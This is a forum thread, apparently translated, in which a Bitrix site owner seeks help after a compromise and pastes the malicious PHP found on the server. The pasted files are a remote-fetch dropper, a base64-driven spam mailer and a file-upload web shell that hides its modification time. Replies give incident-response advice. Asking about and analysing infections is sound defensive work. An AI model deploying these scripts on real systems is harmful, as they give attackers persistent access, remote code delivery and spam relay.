Answer the question
In order to leave comments, you need to log in
How to track a virus on a website?
There is a site on Bitrix installed on VDS recently found a strange code in index.php, the code is encrypted php and various files like
hh.ru
mama332.php
wp-cron-sample.php
, etc. appear with it. the contents of the files are as follows
<?php
function class_x_i($x = ''){
$urlset = isset($_GET['name']) ? trim($_GET['name']) : '';
$filename = isset($_GET['file']) ? trim($_GET['file']) : '';
$ch = curl_init('http://'.$urlset);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
file_put_contents($filename,$result);
echo 'O1024K';
}
class_x_i();
?>
<?php
if(isset($_POST["mailto"]))
$MailTo = base64_decode($_POST["mailto"]);
else
{
echo "indata_error";
exit;
}
if(isset($_POST["msgheader"]))
$MessageHeader = base64_decode($_POST["msgheader"]);
else
{
echo "indata_error";
exit;
}
if(isset($_POST["msgbody"]))
$MessageBody = base64_decode($_POST["msgbody"]);
else
{
echo "indata_error";
exit;
}
if(isset($_POST["msgsubject"]))
$MessageSubject = base64_decode($_POST["msgsubject"]);
else
{
echo "indata_error";
exit;
}
if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))
echo "sent_ok";
else
echo "sent_error";
?>
Answer the question
In order to leave comments, you need to log in
change passwords, update software, transfer the admin panel, Casper and the web have online verification
You do not need to look for a source now, but to do prevention:
1) Connect an antivirus to the VDS service on the hosting, set up a daily check, check the account files.
2) Change all accesses: website, database, ftp (ssh), hosting panel
3) Restore the site from a backup dated before the hack
4) If there is no backup, then install the module from the "Trojan Search" marketplace and drive the site if there are infected system files, reload Bitrix core and modules
logs tracked a certain license.php file through which files were loaded
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
<title>utf</title>
</head>
<body>
<?php
print "<h1>#[email protected][email protected]#</h1>\n";
echo "Your IP: ";
echo $_SERVER['REMOTE_ADDR'];
echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
echo "<input type=\"file\" name=\"filename\"><br> \n";
echo "<input type=\"submit\" value=\"LOAD\"><br>\n";
echo "</form>\n";
if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
{
move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
$file = $_FILES/*;*/["filename"]["name"];
echo "<a href=\"$file\">$file</a>";
} else {
echo("empty");
}
$filename = $_SERVER[SCRIPT_FILENAME];
touch/*;*/($filename, $time);
?>
</body>
</html>
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question